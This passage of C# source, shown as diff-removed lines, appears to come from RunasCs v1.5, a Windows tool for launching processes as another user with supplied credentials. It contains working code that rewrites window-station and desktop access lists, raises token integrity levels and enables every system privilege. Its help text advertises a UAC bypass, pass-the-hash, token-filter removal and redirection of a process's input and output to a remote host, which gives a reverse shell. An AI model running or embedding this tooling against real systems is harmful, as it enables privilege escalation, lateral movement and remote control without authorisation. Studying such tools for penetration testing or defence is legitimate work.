extern bool GetAce(IntPtr aclPtr, int aceIndex, out IntPtr acePtr); - - [DllImport("advapi32.dll", SetLastError = true)] - private static extern bool AddAce(IntPtr pAcl, uint dwAceRevision, uint dwStartingAceIndex, IntPtr pAceList, uint nAceListLength); - - [DllImport("advapi32.dll", SetLastError = true)] - private static extern bool AddAccessAllowedAce(IntPtr pAcl, uint dwAceRevision, ACCESS_MASK AccessMask, IntPtr pSid); - - [DllImport("advapi32.dll", SetLastError=true)] - private static extern bool SetSecurityDescriptorDacl(IntPtr sd, bool daclPresent, IntPtr dacl, bool daclDefaulted); - - [DllImport("user32.dll", SetLastError = true)] - private static extern bool SetUserObjectSecurity(IntPtr hObj, ref SECURITY_INFORMATION pSIRequested, IntPtr pSD); - - [DllImport("advapi32.dll", SetLastError=true)] - private static extern bool CopySid(uint nDestinationSidLength, IntPtr pDestinationSid, IntPtr pSourceSid); - - [DllImport("advapi32.dll", CharSet=CharSet.Unicode, SetLastError = true)] - private static extern bool LookupAccountName(string lpSystemName, string lpAccountName, [MarshalAs(UnmanagedType.LPArray)] byte[] Sid, ref uint cbSid, StringBuilder ReferencedDomainName, ref uint cchReferencedDomainName, out SID_NAME_USE peUse); - - private IntPtr hWinsta; - private IntPtr hDesktop; - private IntPtr userSid; - - private IntPtr GetUserSid(string domain, string username){ - IntPtr userSid = IntPtr.Zero; - string fqan = "";//Fully qualified account names - byte [] Sid = null; - uint cbSid = 0; - StringBuilder referencedDomainName = new StringBuilder(); - uint cchReferencedDomainName = (uint)referencedDomainName.Capacity; - SID_NAME_USE sidUse; - int err = NO_ERROR; - - if(domain != "" && domain != ".") - fqan = domain + "\\" + username; - else - fqan = username; - - if (!LookupAccountName(null,fqan,Sid,ref cbSid,referencedDomainName,ref cchReferencedDomainName,out sidUse)) - { - err = Marshal.GetLastWin32Error(); - if (err == ERROR_INSUFFICIENT_BUFFER || err == ERROR_INVALID_FLAGS) - { - Sid = new byte[cbSid]; - referencedDomainName.EnsureCapacity((int)cchReferencedDomainName); - err = NO_ERROR; - if (!LookupAccountName(null,fqan,Sid,ref cbSid,referencedDomainName,ref cchReferencedDomainName,out sidUse)) - err = Marshal.GetLastWin32Error(); - } - } - else{ - string error = "The username " + fqan + " has not been found. "; - throw new RunasCsException(error + "LookupAccountName", true); - } - if (err == 0) - { - userSid = Marshal.AllocHGlobal((int)cbSid); - Marshal.Copy(Sid, 0, userSid, (int)cbSid); - } - else{ - string error = "The username " + fqan + " has not been found. "; - throw new RunasCsException(error + "LookupAccountName", true); - } - return userSid; - } - - //Big thanks to Vanara project - //https://github.com/dahall/Vanara/blob/9771eadebc874cfe876011c9d6588aefb62626d9/PInvoke/Security/AdvApi32/SecurityBaseApi.cs#L4656 - private void AddAllowedAceToDACL(IntPtr pDacl, ACCESS_MASK mask, byte aceFlags, uint aceSize){ - int offset = Marshal.SizeOf(typeof(ACCESS_ALLOWED_ACE)) - Marshal.SizeOf(typeof(uint)); - ACE_HEADER AceHeader = new ACE_HEADER(); - AceHeader.AceType = ACCESS_ALLOWED_ACE_TYPE; - AceHeader.AceFlags = aceFlags; - AceHeader.AceSize = (short)aceSize; - IntPtr pNewAcePtr = Marshal.AllocHGlobal((int)aceSize); - ACCESS_ALLOWED_ACE pNewAceStruct = new ACCESS_ALLOWED_ACE(); - pNewAceStruct.Header = AceHeader; - pNewAceStruct.Mask = mask; - Marshal.StructureToPtr(pNewAceStruct, pNewAcePtr, false); - IntPtr sidStartPtr = new IntPtr(pNewAcePtr.ToInt64() + offset); - if (!CopySid((uint)GetLengthSid(this.userSid), sidStartPtr, this.userSid)) - throw new RunasCsException("CopySid", true); - if (!AddAce(pDacl, ACL_REVISION, MAXDWORD, pNewAcePtr, aceSize)) - throw new RunasCsException("AddAce", true); - Marshal.FreeHGlobal(pNewAcePtr); - } - - private void AddAceToWindowStation(){ - uint cbSd = 0; - bool fDaclPresent = false; - bool fDaclExist = false; - IntPtr pDacl = IntPtr.Zero; - uint cbDacl = 0; - IntPtr pSd = IntPtr.Zero; - IntPtr pNewSd = IntPtr.Zero; - uint cbNewDacl = 0; - uint cbNewAce = 0; - IntPtr pNewDacl = IntPtr.Zero; - - ACL_SIZE_INFORMATION aclSizeInfo = new ACL_SIZE_INFORMATION(); - SECURITY_INFORMATION si = SECURITY_INFORMATION.DACL_SECURITY_INFORMATION; - // Get required buffer size and allocate the SECURITY_DESCRIPTOR buffer. - if (!GetUserObjectSecurity(this.hWinsta, ref si, pSd, 0, out cbSd)) - { - if (Marshal.GetLastWin32Error() != ERROR_INSUFFICIENT_BUFFER) - { - throw new RunasCsException("GetUserObjectSecurity 1 size", true); - } - } - pSd = Marshal.AllocHGlobal((int)cbSd); - // Obtain the security descriptor for the desktop object. - if (!GetUserObjectSecurity(this.hWinsta, ref si, pSd, cbSd, out cbSd)) - { - throw new RunasCsException("GetUserObjectSecurity 2", true); - } - // Get the DACL from the security descriptor. - if (!GetSecurityDescriptorDacl(pSd, out fDaclPresent, ref pDacl, out fDaclExist)) - { - throw new RunasCsException("GetSecurityDescriptorDacl", true); - } - // Get the size information of the DACL. - if (pDacl == IntPtr.Zero) - { - cbDacl = 0; - } - else - { - if (!GetAclInformation(pDacl, ref aclSizeInfo, (uint)Marshal.SizeOf(typeof(ACL_SIZE_INFORMATION)), ACL_INFORMATION_CLASS.AclSizeInformation)) - { - throw new RunasCsException("GetAclInformation", true); - } - cbDacl = aclSizeInfo.AclBytesInUse; - } - - // Allocate memory for the new security descriptor. - pNewSd = Marshal.AllocHGlobal((int)cbSd); - // Initialize the new security descriptor. - if (!InitializeSecurityDescriptor(pNewSd, SECURITY_DESCRIPTOR_REVISION)) - { - throw new RunasCsException("InitializeSecurityDescriptor", true); - } - - // Compute the size of a DACL to be added to the new security descriptor. - cbNewAce = (uint)Marshal.SizeOf(typeof(ACCESS_ALLOWED_ACE)) + (uint)GetLengthSid(this.userSid) - (uint)Marshal.SizeOf(typeof(uint)); - if(cbDacl == 0) - cbNewDacl = 8 + (cbNewAce*2);//8 = sizeof(ACL) - else - cbNewDacl = cbDacl + (cbNewAce*2); - - // Allocate memory for the new DACL. - pNewDacl = Marshal.AllocHGlobal((int)cbNewDacl); - // Initialize the new DACL. - if (!InitializeAcl(pNewDacl, cbNewDacl, ACL_REVISION)) - { - throw new RunasCsException("InitializeAcl", true); - } - - // If the original DACL is present, copy it to the new DACL. - if (fDaclPresent) - { - // Copy the ACEs to the new DACL. - for (int dwIndex = 0; dwIndex < aclSizeInfo.AceCount; dwIndex++) - { - IntPtr pTempAce = IntPtr.Zero; - // Get an ACE. - if (!GetAce(pDacl, dwIndex, out pTempAce)) - { - throw new RunasCsException("GetAce", true); - } - ACE_HEADER pTempAceStruct = (ACE_HEADER)Marshal.PtrToStructure(pTempAce, typeof(ACE_HEADER)); - // Add the ACE to the new ACL. - if (!AddAce(pNewDacl, ACL_REVISION, MAXDWORD, pTempAce, (uint)pTempAceStruct.AceSize)) - { - throw new RunasCsException("AddAce", true); - } - } - } - - AddAllowedAceToDACL(pNewDacl, ACCESS_MASK.GENERIC_ACCESS, CONTAINER_INHERIT_ACE | INHERIT_ONLY_ACE | OBJECT_INHERIT_ACE, cbNewAce); - AddAllowedAceToDACL(pNewDacl, ACCESS_MASK.WINSTA_ALL, NO_PROPAGATE_INHERIT_ACE, cbNewAce); - // Assign the new DACL to the new security descriptor. - if (!SetSecurityDescriptorDacl(pNewSd, true, pNewDacl, false)) - { - throw new RunasCsException("SetSecurityDescriptorDacl", true); - } - // Set the new security descriptor for the desktop object. - if (!SetUserObjectSecurity(this.hWinsta, ref si, pNewSd)) - { - throw new RunasCsException("SetUserObjectSecurity", true); - } - - Marshal.FreeHGlobal(pSd); - Marshal.FreeHGlobal(pNewSd); - Marshal.FreeHGlobal(pNewDacl); - } - - private void AddAceToDesktop(){ - uint cbSd = 0; - bool fDaclPresent = false; - bool fDaclExist = false; - IntPtr pDacl = IntPtr.Zero; - uint cbDacl = 0; - IntPtr pSd = IntPtr.Zero; - IntPtr pNewSd = IntPtr.Zero; - uint cbNewDacl = 0; - uint cbNewAce = 0; - IntPtr pNewDacl = IntPtr.Zero; - - ACL_SIZE_INFORMATION aclSizeInfo = new ACL_SIZE_INFORMATION(); - SECURITY_INFORMATION si = SECURITY_INFORMATION.DACL_SECURITY_INFORMATION; - // Get required buffer size and allocate the SECURITY_DESCRIPTOR buffer. - if (!GetUserObjectSecurity(this.hDesktop, ref si, pSd, 0, out cbSd)) - { - if (Marshal.GetLastWin32Error() != ERROR_INSUFFICIENT_BUFFER) - { - throw new RunasCsException("GetUserObjectSecurity 1 size", true); - } - } - pSd = Marshal.AllocHGlobal((int)cbSd); - // Obtain the security descriptor for the desktop object. - if (!GetUserObjectSecurity(this.hDesktop, ref si, pSd, cbSd, out cbSd)) - { - throw new RunasCsException("GetUserObjectSecurity 2", true); - } - // Get the DACL from the security descriptor. - if (!GetSecurityDescriptorDacl(pSd, out fDaclPresent, ref pDacl, out fDaclExist)) - { - throw new RunasCsException("GetSecurityDescriptorDacl", true); - } - // Get the size information of the DACL. - if (pDacl == IntPtr.Zero) - { - cbDacl = 0; - } - else - { - if (!GetAclInformation(pDacl, ref aclSizeInfo, (uint)Marshal.SizeOf(typeof(ACL_SIZE_INFORMATION)), ACL_INFORMATION_CLASS.AclSizeInformation)) - { - throw new RunasCsException("GetAclInformation", true); - } - cbDacl = aclSizeInfo.AclBytesInUse; - } - - // Allocate memory for the new security descriptor. - pNewSd = Marshal.AllocHGlobal((int)cbSd); - // Initialize the new security descriptor. - if (!InitializeSecurityDescriptor(pNewSd, SECURITY_DESCRIPTOR_REVISION)) - { - throw new RunasCsException("InitializeSecurityDescriptor", true); - } - - // Compute the size of a DACL to be added to the new security descriptor. - cbNewAce = (uint)Marshal.SizeOf(typeof(ACCESS_ALLOWED_ACE)) + (uint)GetLengthSid(this.userSid) - (uint)Marshal.SizeOf(typeof(uint)); - if(cbDacl == 0) - cbNewDacl = 8 + cbNewAce;//8 = sizeof(ACL) - else - cbNewDacl = cbDacl + cbNewAce; - - // Allocate memory for the new DACL. - pNewDacl = Marshal.AllocHGlobal((int)cbNewDacl); - // Initialize the new DACL. - if (!InitializeAcl(pNewDacl, cbNewDacl, ACL_REVISION)) - { - throw new RunasCsException("InitializeAcl", true); - } - - // If the original DACL is present, copy it to the new DACL. - if (fDaclPresent) - { - // Copy the ACEs to the new DACL. - for (int dwIndex = 0; dwIndex < aclSizeInfo.AceCount; dwIndex++) - { - IntPtr pTempAce = IntPtr.Zero; - // Get an ACE. - if (!GetAce(pDacl, dwIndex, out pTempAce)) - { - throw new RunasCsException("GetAce", true); - } - ACE_HEADER pTempAceStruct = (ACE_HEADER)Marshal.PtrToStructure(pTempAce, typeof(ACE_HEADER)); - // Add the ACE to the new ACL. - if (!AddAce(pNewDacl, ACL_REVISION, MAXDWORD, pTempAce, (uint)pTempAceStruct.AceSize)) - { - throw new RunasCsException("AddAce", true); - } - } - } - - // Add a new ACE to the new DACL. - if (!AddAccessAllowedAce(pNewDacl, ACL_REVISION, ACCESS_MASK.DESKTOP_ALL, this.userSid)) - { - throw new RunasCsException("AddAccessAllowedAce", true); - } - - // Assign the new DACL to the new security descriptor. - if (!SetSecurityDescriptorDacl(pNewSd, true, pNewDacl, false)) - { - throw new RunasCsException("SetSecurityDescriptorDacl", true); - } - // Set the new security descriptor for the desktop object. - if (!SetUserObjectSecurity(this.hDesktop, ref si, pNewSd)) - { - throw new RunasCsException("SetUserObjectSecurity", true); - } - - Marshal.FreeHGlobal(pSd); - Marshal.FreeHGlobal(pNewSd); - Marshal.FreeHGlobal(pNewDacl); - } - public WindowStationDACL() - { - this.hWinsta = IntPtr.Zero; - this.hDesktop = IntPtr.Zero; - this.userSid = IntPtr.Zero; - } - - public string AddAclToActiveWindowStation(string domain, string username, int logonType){ - string lpDesktop = ""; - byte[] stationNameBytes = new byte[256]; - string stationName = ""; - uint lengthNeeded = 0; - IntPtr hWinstaSave = GetProcessWindowStation(); - if(hWinstaSave == IntPtr.Zero) - { - throw new RunasCsException("GetProcessWindowStation", true); - } - if(!GetUserObjectInformation(hWinstaSave, UOI_NAME, stationNameBytes, 256, out lengthNeeded)){ - throw new RunasCsException("GetUserObjectInformation", true); - } - stationName = Encoding.Default.GetString(stationNameBytes).Substring(0, (int)lengthNeeded-1); - // this should be avoided with the LOGON32_LOGON_NEW_CREDENTIALS logon type or some bug can happen in LookupAccountName() - if (logonType != 9) - { - this.hWinsta = OpenWindowStation(stationName, false, ACCESS_MASK.READ_CONTROL | ACCESS_MASK.WRITE_DAC); - if (this.hWinsta == IntPtr.Zero) - { - throw new RunasCsException("OpenWindowStation", true); - } - if (!SetProcessWindowStation(this.hWinsta)) - { - throw new RunasCsException("SetProcessWindowStation hWinsta", true); - } - this.hDesktop = OpenDesktop("Default", 0, false, ACCESS_MASK.READ_CONTROL | ACCESS_MASK.WRITE_DAC | ACCESS_MASK.DESKTOP_WRITEOBJECTS | ACCESS_MASK.DESKTOP_READOBJECTS); - if (!SetProcessWindowStation(hWinstaSave)) - { - throw new RunasCsException("SetProcessWindowStation hWinstaSave", true); - } - if (this.hWinsta == IntPtr.Zero) - { - throw new RunasCsException("OpenDesktop", true); - } - this.userSid = GetUserSid(domain, username); - AddAceToWindowStation(); - AddAceToDesktop(); - } - lpDesktop = stationName + "\\Default"; - return lpDesktop; - } - - public void CleanupHandles() - { - if(this.hWinsta != IntPtr.Zero) CloseWindowStation(this.hWinsta); - if(this.hDesktop != IntPtr.Zero) CloseDesktop(this.hDesktop); - if(this.userSid != IntPtr.Zero) FreeSid(this.userSid); - } -} - -public static class AccessToken{ - // Mandatory Label SIDs (integrity levels) - private const int SECURITY_MANDATORY_UNTRUSTED_RID = 0; - private const int SECURITY_MANDATORY_LOW_RID = 0x1000; - private const int SECURITY_MANDATORY_MEDIUM_RID = 0x2000; - private const int SECURITY_MANDATORY_HIGH_RID = 0x3000; - private const int SECURITY_MANDATORY_SYSTEM_RID = 0x4000; - private const int SECURITY_MANDATORY_PROTECTED_PROCESS_RID = 0x5000; - private const uint SE_PRIVILEGE_ENABLED = 0x00000002; - private static readonly byte[] MANDATORY_LABEL_AUTHORITY = new byte[] { 0, 0, 0, 0, 0, 16 }; - - public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; - public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; - public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; - public const UInt32 TOKEN_DUPLICATE = 0x0002; - public const UInt32 TOKEN_IMPERSONATE = 0x0004; - public const UInt32 TOKEN_QUERY = 0x0008; - public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; - public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020; - public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; - public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; - public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; - public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); - public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | - TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | - TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | - TOKEN_ADJUST_SESSIONID); - - [DllImport("advapi32.dll", SetLastError=true)] - private static extern bool GetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation,uint TokenInformationLength,out uint ReturnLength); - - [DllImport("advapi32.dll", SetLastError = true, CharSet=CharSet.Unicode)] - [return: MarshalAs(UnmanagedType.Bool)] - private static extern bool LookupPrivilegeName(string lpSystemName, IntPtr lpLuid, StringBuilder lpName, ref int cchName ); - - [DllImport("advapi32.dll", SetLastError = true)] - private static extern bool GetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, int TokenInformationLength, out int ReturnLength); - - [DllImport("advapi32.dll", SetLastError = true)] - private static extern bool AllocateAndInitializeSid(IntPtr pIdentifierAuthority, byte nSubAuthorityCount, int dwSubAuthority0, int dwSubAuthority1, int dwSubAuthority2, int dwSubAuthority3, int dwSubAuthority4, int dwSubAuthority5, int dwSubAuthority6, int dwSubAuthority7, out IntPtr pSid); - - [DllImport("advapi32.dll", SetLastError = true)] - private static extern bool SetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, int TokenInformationLength); - - [DllImport("advapi32.dll", SetLastError = true)] - private static extern IntPtr GetSidSubAuthority(IntPtr sid, UInt32 subAuthorityIndex); - - [DllImport("advapi32.dll", SetLastError = true)] - private static extern IntPtr GetSidSubAuthorityCount(IntPtr sid); - - [DllImport("advapi32.dll", SetLastError = true)] - private static extern bool AdjustTokenPrivileges(IntPtr tokenhandle, bool disableprivs, [MarshalAs(UnmanagedType.Struct)] ref TOKEN_PRIVILEGES_2 Newstate, int bufferlength, int PreivousState, int Returnlength); - - [DllImport("advapi32.dll", SetLastError = true)] - private static extern int LookupPrivilegeValue(string lpsystemname, string lpname, [MarshalAs(UnmanagedType.Struct)] ref LUID lpLuid); - - [DllImport("advapi32.dll", SetLastError = true, BestFitMapping = false, ThrowOnUnmappableChar = true)] - [return: MarshalAs(UnmanagedType.Bool)] - private static extern bool LogonUser([MarshalAs(UnmanagedType.LPStr)] string pszUserName, [MarshalAs(UnmanagedType.LPStr)] string pszDomain, [MarshalAs(UnmanagedType.LPStr)] string pszPassword, int dwLogonType, int dwLogonProvider, ref IntPtr phToken); - - [DllImport("Kernel32.dll", SetLastError = true)] - private static extern bool CloseHandle(IntPtr handle); - - private enum TOKEN_INFORMATION_CLASS - { - TokenUser = 1, - TokenGroups, - TokenPrivileges, - TokenOwner, - TokenPrimaryGroup, - TokenDefaultDacl, - TokenSource, - TokenType, - TokenImpersonationLevel, - TokenStatistics, - TokenRestrictedSids, - TokenSessionId, - TokenGroupsAndPrivileges, - TokenSessionReference, - TokenSandBoxInert, - TokenAuditPolicy, - TokenOrigin, - TokenElevationType, - TokenLinkedToken, - TokenElevation, - TokenHasRestrictions, - TokenAccessInformation, - TokenVirtualizationAllowed, - TokenVirtualizationEnabled, - TokenIntegrityLevel, - TokenUIAccess, - TokenMandatoryPolicy, - TokenLogonSid, - TokenIsAppContainer, - TokenCapabilities, - TokenAppContainerSid, - TokenAppContainerNumber, - TokenUserClaimAttributes, - TokenDeviceClaimAttributes, - TokenRestrictedUserClaimAttributes, - TokenRestrictedDeviceClaimAttributes, - TokenDeviceGroups, - TokenRestrictedDeviceGroups, - TokenSecurityAttributes, - TokenIsRestricted, - TokenProcessTrustLevel, - TokenPrivateNameSpace, - TokenSingletonAttributes, - TokenBnoIsolation, - TokenChildProcessFlags, - TokenIsLessPrivilegedAppContainer, - TokenIsSandboxed, - TokenIsAppSilo, - MaxTokenInfoClass - } - - public enum IntegrityLevel : int - { - Same = -2, - Unknown = -1, - Untrusted = SECURITY_MANDATORY_UNTRUSTED_RID, - Low = SECURITY_MANDATORY_LOW_RID, - Medium = SECURITY_MANDATORY_MEDIUM_RID, - High = SECURITY_MANDATORY_HIGH_RID, - System = SECURITY_MANDATORY_SYSTEM_RID, - ProtectedProcess = SECURITY_MANDATORY_PROTECTED_PROCESS_RID - } - - private enum TokenGroupAttributes : uint - { - Disabled = 0, - SE_GROUP_MANDATORY = 1, - SE_GROUP_ENABLED_BY_DEFAULT = 0x2, - SE_GROUP_ENABLED = 0x4, - SE_GROUP_OWNER = 0x8, - SE_GROUP_USE_FOR_DENY_ONLY = 0x10, - SE_GROUP_INTEGRITY = 0x20, - SE_GROUP_INTEGRITY_ENABLED = 0x40, - SE_GROUP_RESOURCE = 0x20000000, - SE_GROUP_LOGON_ID = 0xC0000000 - } - - [StructLayout(LayoutKind.Sequential)] - private struct TOKEN_PRIVILEGES_2 - { - public UInt32 PrivilegeCount; - public LUID Luid; - public UInt32 Attributes; - } - - [StructLayout(LayoutKind.Sequential)] - private struct SID_IDENTIFIER_AUTHORITY - { - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6)] - public byte[] Value; - } - - [StructLayout(LayoutKind.Sequential)] - private struct SID_AND_ATTRIBUTES - { - public IntPtr pSID; - public TokenGroupAttributes Attributes; - } - - [StructLayout(LayoutKind.Sequential)] - private struct TOKEN_MANDATORY_LABEL - { - public SID_AND_ATTRIBUTES Label; - } - - public struct TOKEN_ELEVATION - { - public UInt32 TokenIsElevated; - } - - public struct TOKEN_ELEVATION_TYPE - { - public UInt32 TokenElevationType; - } - - [StructLayout(LayoutKind.Sequential)] - public struct LUID - { - public UInt32 LowPart; - public Int32 HighPart; - } - - [StructLayout(LayoutKind.Sequential, Pack = 4)] - public struct LUID_AND_ATTRIBUTES - { - public LUID Luid; - public UInt32 Attributes; - } - - public struct TOKEN_PRIVILEGES - { - public int PrivilegeCount; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 64)] - public LUID_AND_ATTRIBUTES[] Privileges; - } - - private static string convertAttributeToString(UInt32 attribute){ - if(attribute == 0) - return "Disabled"; - if(attribute == 1) - return "Enabled Default"; - if(attribute == 2) - return "Enabled"; - if(attribute == 3) - return "Enabled|Enabled Default"; - return "Error"; - } - - public static List GetTokenPrivileges(IntPtr tHandle){ - List privileges = new List(); - uint TokenInfLength=0; - bool Result; - //Get TokenInformation length in TokenInfLength - Result = GetTokenInformation(tHandle, TOKEN_INFORMATION_CLASS.TokenPrivileges, IntPtr.Zero, TokenInfLength, out TokenInfLength); - IntPtr TokenInformation = Marshal.AllocHGlobal((int)TokenInfLength) ; - Result = GetTokenInformation(tHandle, TOKEN_INFORMATION_CLASS.TokenPrivileges, TokenInformation, TokenInfLength, out TokenInfLength) ; - if (Result == false) - throw new RunasCsException("GetTokenInformation", true); - TOKEN_PRIVILEGES TokenPrivileges = (TOKEN_PRIVILEGES)Marshal.PtrToStructure( TokenInformation , typeof( TOKEN_PRIVILEGES ) ) ; - for(int i=0;i= IntegrityLevel.High) - return false; - GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenElevation, IntPtr.Zero, tokenInfLength, out tokenInfLength); - IntPtr tokenElevationPtr = Marshal.AllocHGlobal(tokenInfLength); - if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenElevation, tokenElevationPtr, tokenInfLength, out tokenInfLength)) - throw new RunasCsException("GetTokenInformation TokenElevation", true); - TOKEN_ELEVATION tokenElevation = (TOKEN_ELEVATION)Marshal.PtrToStructure(tokenElevationPtr, typeof(TOKEN_ELEVATION)); - if (tokenElevation.TokenIsElevated > 0) { - tokenIsFiltered = false; - Marshal.FreeHGlobal(tokenElevationPtr); - } - else { - tokenInfLength = 0; - GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenElevationType, IntPtr.Zero, tokenInfLength, out tokenInfLength); - IntPtr tokenElevationTypePtr = Marshal.AllocHGlobal(tokenInfLength); - if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenElevationType, tokenElevationTypePtr, tokenInfLength, out tokenInfLength)) - throw new RunasCsException("GetTokenInformation TokenElevationType", true); - TOKEN_ELEVATION_TYPE tokenElevationType = (TOKEN_ELEVATION_TYPE)Marshal.PtrToStructure(tokenElevationTypePtr, typeof(TOKEN_ELEVATION_TYPE)); - if (tokenElevationType.TokenElevationType == 3) // 3 = TokenElevationTypeLimited - tokenIsFiltered = true; - Marshal.FreeHGlobal(tokenElevationTypePtr); - } - return tokenIsFiltered; - } - - // thanks @winlogon0 --> https://github.com/AltF5/MediumToHighIL_Test/blob/main/TestCode2.cs - public static bool SetTokenIntegrityLevel(IntPtr hToken, IntegrityLevel integrity) - { - bool ret = false; - IntPtr pLabelAuthorityStruct; - IntPtr pSID; - IntPtr pLabel; - int labelSize; - TOKEN_MANDATORY_LABEL tokenLabel = new TOKEN_MANDATORY_LABEL(); - SID_IDENTIFIER_AUTHORITY authoritySid = new SID_IDENTIFIER_AUTHORITY(); - authoritySid.Value = MANDATORY_LABEL_AUTHORITY; - pLabelAuthorityStruct = Marshal.AllocHGlobal(Marshal.SizeOf(authoritySid)); - Marshal.StructureToPtr(authoritySid, pLabelAuthorityStruct, false); - bool result = AllocateAndInitializeSid(pLabelAuthorityStruct, 1, (int)integrity, 0, 0, 0, 0, 0, 0, 0, out pSID); - tokenLabel.Label.pSID = pSID; - tokenLabel.Label.Attributes = TokenGroupAttributes.SE_GROUP_INTEGRITY; - labelSize = Marshal.SizeOf(tokenLabel); - pLabel = Marshal.AllocHGlobal(labelSize); - Marshal.StructureToPtr(tokenLabel, pLabel, false); - result = SetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, pLabel, labelSize); - Marshal.FreeHGlobal(pLabel); - Marshal.FreeHGlobal(pSID); - Marshal.FreeHGlobal(pLabelAuthorityStruct); - if (!result) - throw new RunasCsException("[!] Failed to set the token's Integrity Level: " + integrity.ToString()); - else - ret = true; - return ret; - } - - public static IntegrityLevel GetTokenIntegrityLevel(IntPtr hToken) - { - IntegrityLevel illevel = IntegrityLevel.Unknown; - IntPtr pb = Marshal.AllocHGlobal(1000); - uint cb = 1000; - if (GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, pb, cb, out cb)) - { - IntPtr pSid = Marshal.ReadIntPtr(pb); - int dwIntegrityLevel = Marshal.ReadInt32(GetSidSubAuthority(pSid, (Marshal.ReadByte(GetSidSubAuthorityCount(pSid)) - 1U))); - if (dwIntegrityLevel == SECURITY_MANDATORY_LOW_RID) - { - return IntegrityLevel.Low; - } - else if (dwIntegrityLevel >= SECURITY_MANDATORY_MEDIUM_RID && dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) - { - // Medium Integrity - return IntegrityLevel.Medium; - } - else if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID) - { - // High Integrity - return IntegrityLevel.High; - } - else if (dwIntegrityLevel >= SECURITY_MANDATORY_SYSTEM_RID) - { - // System Integrity - return IntegrityLevel.System; - } - return IntegrityLevel.Unknown; - } - Marshal.FreeHGlobal(pb); - return illevel; - } - - public static string EnablePrivilege(string privilege, IntPtr token) - { - string output = ""; - LUID sebLuid = new LUID(); - TOKEN_PRIVILEGES_2 tokenp = new TOKEN_PRIVILEGES_2(); - tokenp.PrivilegeCount = 1; - LookupPrivilegeValue(null, privilege, ref sebLuid); - tokenp.Luid = sebLuid; - tokenp.Attributes = SE_PRIVILEGE_ENABLED; - if (!AdjustTokenPrivileges(token, false, ref tokenp, 0, 0, 0)) - { - throw new RunasCsException("AdjustTokenPrivileges on privilege " + privilege, true); - } - output += "\r\nAdjustTokenPrivileges on privilege " + privilege + " succeeded"; - return output; - } - - public static string EnableAllPrivileges(IntPtr token) - { - string output = ""; - string[] privileges = { "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege", "SeDebugPrivilege", "SeDelegateSessionUserImpersonatePrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege", "SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege", "SeLockMemoryPrivilege", "SeMachineAccountPrivilege", "SeManageVolumePrivilege", "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege", "SeRestorePrivilege", "SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege", "SeSystemtimePrivilege", "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege", "SeUndockPrivilege", "SeUnsolicitedInputPrivilege" }; - foreach (string privilege in privileges) - { - output += EnablePrivilege(privilege, token); - } - return output; - } - -} - -public static class RunasCsMainClass -{ - private static readonly string help = @" -RunasCs v1.5 - @splinter_code - -Usage: - RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--force-profile] [--bypass-uac] [--remote-impersonation] [--pth] [--disable-token-filtering] - -Description: - RunasCs is an utility to run specific processes under a different user account - by specifying explicit credentials. In contrast to the default runas.exe command - it supports different logon types and CreateProcess* functions to be used, depending - on your current permissions. Furthermore it allows input/output redirection (even - to remote hosts) and you can specify the password directly on the command line. - -Positional arguments: - username username of the user - password password of the user - cmd commandline for the process - -Optional arguments: - -d, --domain domain - domain of the user, if in a domain. - Default: """" - -f, --function create_process_function - CreateProcess function to use. When not specified - RunasCs determines an appropriate CreateProcess - function automatically according to your privileges. - 0 - CreateProcessAsUserW - 1 - CreateProcessWithTokenW - 2 - CreateProcessWithLogonW - -l, --logon-type logon_type - the logon type for the token of the new process. - Default: ""2"" - Interactive - -t, --timeout process_timeout - the waiting time (in ms) for the created process. - This will halt RunasCs until the spawned process - ends and sent the output back to the caller. - If you set 0 no output will be retrieved and a - background process will be created. - Default: ""120000"" - -r, --remote host:port - redirect stdin, stdout and stderr to a remote host. - Using this option sets the process_timeout to 0. - -p, --force-profile - force the creation of the user profile on the machine. - This will ensure the process will have the - environment variables correctly set. - WARNING: If non-existent, it creates the user profile - directory in the C:\Users folder. - -b, --bypass-uac - try a UAC bypass to spawn a process without - token limitations (not filtered). - -i, --remote-impersonation 